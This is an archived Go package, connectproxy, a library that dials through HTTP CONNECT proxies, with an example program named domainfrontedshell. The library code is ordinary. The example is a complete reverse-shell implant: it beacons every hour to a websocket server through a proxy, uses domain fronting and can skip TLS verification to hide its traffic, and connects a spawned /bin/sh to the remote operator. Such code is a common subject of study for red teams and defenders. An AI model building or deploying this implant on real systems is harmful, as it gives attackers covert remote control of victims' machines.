pax_global_header00006660000000000000000000000064145665250250014524gustar00rootroot0000000000000052 comment=d35f3c95ed73946b30ff255602017cadb42eef18 golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/000077500000000000000000000000001456652502500240235ustar00rootroot00000000000000golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/.gitignore000066400000000000000000000000071456652502500260100ustar00rootroot00000000000000.*.swp golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/LICENSE000066400000000000000000000015321456652502500250310ustar00rootroot00000000000000Copyright (C) 2017 J. Stuart McMurray This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/README.md000066400000000000000000000015561456652502500253110ustar00rootroot00000000000000ConnectProxy ============ Small Go library to use CONNECT-speaking proxies standalone or with the [proxy](golang.org/x/net/proxy/) library. [![GoDoc](https://godoc.org/github.com/magisterquis/connectproxy?status.svg)](https://godoc.org/github.com/magisterquis/connectproxy) Please see the godoc for more details. This library is written to make connecting through proxies easier. It unashamedly steals from https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b, but adds a nice and simple interface. For legal use only. Domain Fronting --------------- To make it easier to have a different SNI name and Host: header, a separate SNI name may be specified when registering the proxy. See the `GeneratorWithConfig` documentation for more details. Examples -------- The godoc has a couple of examples. Also, in the examples directory there is an example program. golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/connectproxy.go000066400000000000000000000207511456652502500271120ustar00rootroot00000000000000// Package connectproxy implements a proxy.Dialer which uses HTTP(s) CONNECT // requests. // // It is heavily based on // https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b and meant to // compliment the proxy package (golang.org/x/net/proxy). // // Two URL schemes are supported: http and https. These represent plaintext // and TLS-wrapped connections to the proxy server, respectively. // // The proxy.Dialer returned by the package may either be used directly to make // connections via a proxy which understands CONNECT request, or indirectly // via dialer.RegisterDialerType. // // Direct use: // /* Make a proxy.Dialer */ // d, err := connectproxy.New("https://proxyserver:4433", proxy.Direct) // if nil != err{ // panic(err) // } // // /* Connect through it */ // c, err := d.Dial("tcp", "internalsite.com") // if nil != err { // log.Printf("Dial: %v", err) // return // } // // /* Do something with c */ // // Indirectly, via dialer.RegisterDialerType: // /* Register handlers for HTTP and HTTPS proxies */ // proxy.RegisterDialerType("http", connectproxy.New) // proxy.RegisterDialerType("https", connectproxy.New) // // /* Make a Dialer for a proxy */ // u, err := url.Parse("https://proxyserver.com:4433") // if nil != err { // log.Fatalf("Parse: %v", err) // } // d, err := proxy.FromURL(u, proxy.Direct) // if nil != err { // log.Fatalf("Proxy: %v", err) // } // // /* Connect through it */ // c, err := d.Dial("tcp", "internalsite.com") // if nil != err { // log.Fatalf("Dial: %v", err) // } // // /* Do something with c */ // // It's also possible to make the TLS handshake with an HTTPS proxy server use // a different name for SNI than the Host: header uses in the CONNECT request: // d, err := NewWithConfig( // "https://sneakyvhost.com:443", // proxy.Direct, // &connectproxy.Config{ // ServerName: "normalhoster.com", // }, // ) // if nil != err { // panic(err) // } // // /* Use d.Dial(...) */ // package connectproxy /* * connectproxy.go * Implement a dialer which proxies via an HTTP CONNECT request * By J. Stuart McMurray * Created 20170821 * Last Modified 20170821 */ import ( "bufio" "crypto/tls" "errors" "fmt" "net" "net/http" "net/url" "time" "golang.org/x/net/proxy" "encoding/base64" ) func init() { } // ErrorUnsupportedScheme is returned if a scheme other than "http" or // "https" is used. type ErrorUnsupportedScheme error // ErrorConnectionTimeout is returned if the connection through the proxy // server was not able to be made before the configured timeout expired. type ErrorConnectionTimeout error // Config allows various parameters to be configured. It is used with // NewWithConfig. The config passed to NewWithConfig may be changed between // requests. If it is, the changes will affect all current and future // invocations of the returned proxy.Dialer's Dial method. type Config struct { // ServerName is the name to use in the TLS connection to (not through) // the proxy server if different from the host in the URL. // Specifically, this is used in the ServerName field of the // *tls.Config used in connections to TLS-speaking proxy servers. ServerName string // For proxy servers supporting TLS connections (to, not through), // skip TLS certificate validation. InsecureSkipVerify bool // Passed directly to tls.Dial // Header sets the headers in the initial HTTP CONNECT request. See // the documentation for http.Request for more information. Header http.Header // DialTimeout is an optional timeout for connections through (not to) // the proxy server. DialTimeout time.Duration } // RegisterDialerFromURL is a convenience wrapper around // proxy.RegisterDialerType, which registers the given URL as a for the schemes // "http" and/or "https", as controlled by registerHTTP and registerHTTPS. If // both registerHTTP and registerHTTPS are false, RegisterDialerFromURL is a // no-op. func RegisterDialerFromURL(registerHTTP, registerHTTPS bool) { if registerHTTP { proxy.RegisterDialerType("http", New) } if registerHTTPS { proxy.RegisterDialerType("https", New) } } // connectDialer makes connections via an HTTP(s) server supporting the // CONNECT verb. It implements the proxy.Dialer interface. type connectDialer struct { u *url.URL forward proxy.Dialer config *Config /* Auth from the url. Avoids a function call */ haveAuth bool username string password string } // New returns a proxy.Dialer given a URL specification and an underlying // proxy.Dialer for it to make network requests. New may be passed to // proxy.RegisterDialerType for the schemes "http" and "https". The // convenience function RegisterDialerFromURL simplifies this. func New(u *url.URL, forward proxy.Dialer) (proxy.Dialer, error) { return NewWithConfig(u, forward, nil) } // NewWithConfig is like New, but allows control over various options. func NewWithConfig(u *url.URL, forward proxy.Dialer, config *Config) (proxy.Dialer, error) { /* Make sure we have an allowable scheme */ if "http" != u.Scheme && "https" != u.Scheme { return nil, ErrorUnsupportedScheme(errors.New( "connectproxy: unsupported scheme " + u.Scheme, )) } /* Need at least an empty config */ if nil == config { config = &Config{} } /* To be returned */ cd := &connectDialer{ u: u, forward: forward, config: config, } /* Work out the TLS server name */ if "" == cd.config.ServerName { h, _, err := net.SplitHostPort(u.Host) if nil != err && "missing port in address" == err.Error() { h = u.Host } cd.config.ServerName = h } /* Parse out auth */ /* Below taken from https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b */ if nil != u.User { cd.haveAuth = true cd.username = u.User.Username() cd.password, _ = u.User.Password() } return cd, nil } // GeneratorWithConfig is like NewWithConfig, but is suitable for passing to // proxy.RegisterDialerType while maintaining configuration options. // // This is to enable registration of an http(s) proxy with options, e.g.: // proxy.RegisterDialerType("https", connectproxy.GeneratorWithConfig( // &connectproxy.Config{DialTimeout: 5 * time.Minute}, // )) func GeneratorWithConfig(config *Config) func(*url.URL, proxy.Dialer) (proxy.Dialer, error) { return func(u *url.URL, forward proxy.Dialer) (proxy.Dialer, error) { return NewWithConfig(u, forward, config) } } // Dial connects to the given address via the server. func (cd *connectDialer) Dial(network, addr string) (net.Conn, error) { /* Connect to proxy server */ nc, err := cd.forward.Dial("tcp", cd.u.Host) if nil != err { return nil, err } /* Upgrade to TLS if necessary */ if "https" == cd.u.Scheme { nc = tls.Client(nc, &tls.Config{ InsecureSkipVerify: cd.config.InsecureSkipVerify, ServerName: cd.config.ServerName, }) } /* The below adapted from https://gist.github.com/jim3ma/3750675f141669ac4702bc9deaf31c6b */ /* Work out the URL to request */ // HACK. http.ReadRequest also does this. reqURL, err := url.Parse("http://" + addr) if err != nil { nc.Close() return nil, err } reqURL.Scheme = "" req, err := http.NewRequest("CONNECT", reqURL.String(), nil) if err != nil { nc.Close() return nil, err } req.Close = false if (len(cd.config.Header) > 0) { req.Header = cd.config.Header } if cd.haveAuth { basicAuth := "Basic " + base64.StdEncoding.EncodeToString([]byte(cd.username + ":" + cd.password)) req.Header.Add("Proxy-Authorization", basicAuth) } /* Send the request */ err = req.Write(nc) if err != nil { nc.Close() return nil, err } /* Timer to terminate long reads */ var ( connTOd = false connected = make(chan string) to = cd.config.DialTimeout ) if 0 != to { go func() { select { case <-time.After(to): connTOd = true nc.Close() case <-connected: } }() } /* Wait for a response */ resp, err := http.ReadResponse(bufio.NewReader(nc), req) close(connected) if nil != resp { resp.Body.Close() } if err != nil { nc.Close() if connTOd { return nil, ErrorConnectionTimeout(fmt.Errorf( "connectproxy: no connection to %q after %v", reqURL, to, )) } return nil, err } /* Make sure we can proceed */ if resp.StatusCode != http.StatusOK { nc.Close() return nil, fmt.Errorf( "connectproxy: non-OK status: %v", resp.Status, ) } return nc, nil } golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/examples/000077500000000000000000000000001456652502500256415ustar00rootroot00000000000000golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/examples/domaintfrontedshell/000077500000000000000000000000001456652502500317065ustar00rootroot00000000000000domainfrontedshell.go000066400000000000000000000165001456652502500360410ustar00rootroot00000000000000golang-github-magisterquis-connectproxy-0.0~git20200725.3582e84/examples/domaintfrontedshell// domainfrontedshell is a shell over websockets through a proxy with domain // fronting package main /* * domainfrontedshell * Shell via proxy, websockets, and domain fronting * By J. Stuart McMurray * Created 20170821 * Last Modified 20170821 */ import ( "crypto/tls" "flag" "fmt" "io" "log" "net/url" "os" "os/exec" "runtime" "strings" "sync" "time" "github.com/gorilla/websocket" "github.com/magisterquis/connectproxy" "golang.org/x/net/proxy" ) // BUFLEN is the stdout/err read buffer size const BUFLEN = 1000 /* Should fit nicely in one frame */ // PINGINT is the interval at which pings are sent on websocket connections const PINGINT = time.Minute func main() { var ( wsServer = flag.String( "server", "", "Websockets server `URL`", ) name = flag.String( "domain", "", "Optional websockets server TLS SNI `name`", ) pServer = flag.String( "proxy", "", "Optional proxy server `URL`", ) pName = flag.String( "proxy-domain", "", "Optional proxy server TLS SNI `name`", ) bInt = flag.Duration( "beacon", time.Hour, "Beacon `interval`", ) isv = flag.Bool( "insecure", false, "Skip TLS certificate checks", ) ) flag.Usage = func() { fmt.Fprintf( os.Stderr, `Usage: %v [options] Connects to the websockets server (-server) via a TLS connection to the specified domain (-domain), optionally through a proxy (-proxy), connects it to a shell. The supported proxy types are: - http and https (using the CONNECT verb) - socks5 For legal use only. Options: `, os.Args[0], ) flag.PrintDefaults() } flag.Parse() /* Make sure we have necessary bits */ if "" == *wsServer { log.Fatalf("Missing websocket server URL (-server)") } /* Register HTTP(s) proxy schemes */ proxy.RegisterDialerType("http", connectproxy.New) proxy.RegisterDialerType("https", connectproxy.GeneratorWithConfig( &connectproxy.Config{ InsecureSkipVerify: *isv, ServerName: *pName, }, )) /* Set the proxy, if we have one */ var d proxy.Dialer = proxy.Direct if "" != *pServer { /* Parse proxy URL */ u, err := url.Parse(*pServer) if nil != err { log.Fatalf( "Unable to parse proxy server URL %q: %v", *pServer, err, ) } /* Get dialer */ d, err = proxy.FromURL(u, proxy.Direct) if nil != err { log.Fatalf( "Unable to determine proxy from %q: %v", u, err, ) } log.Printf("Proxy: %v", u) } /* Beacon */ num := 0 /* Tag number */ for { go beacon(num, *wsServer, *name, d, *isv) num++ time.Sleep(*bInt) } } /* beacon makes a websocket connection to wsurl, optionally via domain fronting to the name dfname, via the dialer d. On connection, a shell is spawned and its stdio connected to the websocket. If isv is true and the connection to the websocket server is via TLS, no certification validation will be performed. */ func beacon(num int, wsurl string, dfname string, d proxy.Dialer, isv bool) { /* Connect to websockets server */ c, res, err := (&websocket.Dialer{ NetDial: d.Dial, TLSClientConfig: &tls.Config{ ServerName: dfname, InsecureSkipVerify: isv, }, EnableCompression: true, }).Dial(wsurl, nil) if nil != err { if nil != res { log.Printf( "[%v] Connection error to %q (%v): %v", num, wsurl, res.Status, err, ) } else { log.Printf( "[%v] Connection error to %q: %v", num, wsurl, err, ) } return } log.Printf("[%v] Connected: %v->%v", num, c.LocalAddr(), c.RemoteAddr()) defer c.Close() /* Mutex to prevent multiple writes */ writeLock := &sync.Mutex{} /* Prepare a shell */ shell := exec.Command("/bin/sh") stdin, err := shell.StdinPipe() if nil != err { log.Printf("[%v] Unable to get shell stdin: %v", num, err) return } stdout, err := shell.StdoutPipe() if nil != err { log.Printf("[%v] Unablet oget shell stdout: %v", num, err) return } stderr, err := shell.StderrPipe() if nil != err { log.Printf("[%v] Unable to get shell stderr: %v", num, err) return } /* Start proxying comms */ wg := &sync.WaitGroup{} wg.Add(3) go proxyInput(num, stdin, c, wg) go proxyOutput(num, "Stdout", c, stdout, writeLock, wg) go proxyOutput(num, "Stderr", c, stderr, writeLock, wg) /* Ping every so often */ done := make(chan struct{}) defer func() { close(done) }() go pinger(num, c, writeLock, done) /* Fire off the shell */ if err := shell.Run(); nil != err { log.Printf("[%v] Shell exit error: %v", num, err) } wg.Wait() log.Printf("[%v] Done.", num) } /* proxyInput copies from ws to in until an error occurs. */ func proxyInput( num int, in io.WriteCloser, ws *websocket.Conn, wg *sync.WaitGroup, ) { defer wg.Done() defer in.Close() defer ws.Close() for { /* Get a message */ t, msg, err := ws.ReadMessage() if nil != err { printErr(num, err, "Stdin read") return } /* For some reason, newlines are stripped */ if websocket.TextMessage == t { if runtime.GOOS == "windows" { msg = append(msg, '\r') } msg = append(msg, '\n') } /* Write it to the shell */ if _, err := in.Write(msg); nil != err { printErr(num, err, "Stdin write") return } } } /* proxyOutput copies from out to ws until an error occurs. During writes, l will be held. Name should either be Stdout or Stderr. */ func proxyOutput( num int, name string, ws *websocket.Conn, out io.ReadCloser, l *sync.Mutex, wg *sync.WaitGroup, ) { defer wg.Done() defer out.Close() defer ws.Close() var ( buf = make([]byte, BUFLEN) n int err error ) for { /* Get some output */ n, err = out.Read(buf) if nil != err { if io.EOF == err { return } printErr(num, err, "%v read", name) return } /* Strip trailing newlines, because websockets... */ for { if '\n' == buf[n-1] || (runtime.GOOS == "windows" && '\r' == buf[n-1]) { n-- continue } break } /* Hold the lock, send it */ l.Lock() err = ws.WriteMessage(websocket.BinaryMessage, buf[:n]) l.Unlock() if nil != err { if io.EOF == err { return } printErr(num, err, "%v write", name) return } } } /* pinger sends pings to the connection every so often, holding l while it does. It terminates when done is closed or a write fails. */ func pinger( num int, ws *websocket.Conn, l *sync.Mutex, done <-chan struct{}, ) { defer ws.Close() /* Canned ping */ pm, err := websocket.NewPreparedMessage(websocket.PingMessage, []byte{}) if nil != err { log.Printf("[%v] Unable to prepare ping message: %v", num, err) return } for { /* Try to send the ping */ l.Lock() err = ws.WritePreparedMessage(pm) l.Unlock() if nil != err { printErr(num, err, "Unable to ping") return } /* Wait or exit */ select { case <-time.After(PINGINT): case <-done: return } } } /* printErr prints the number in square brackets, the message, its arguments, and the error, all assuming the error isn't boring. This currently means EOF and closed network connections. */ func printErr(num int, err error, f string, a ...interface{}) { /* Don't print boring canned errors */ switch err { case io.EOF: return } /* Don't print errors with specific suffixes */ for _, s := range []string{"use of closed network connection"} { if strings.HasSuffix(err.Error(), s) { return } } /* Ok, message is interesting, print it */ log.Printf("[%v] %s: %s", num, fmt.Sprintf(f, a...), err) }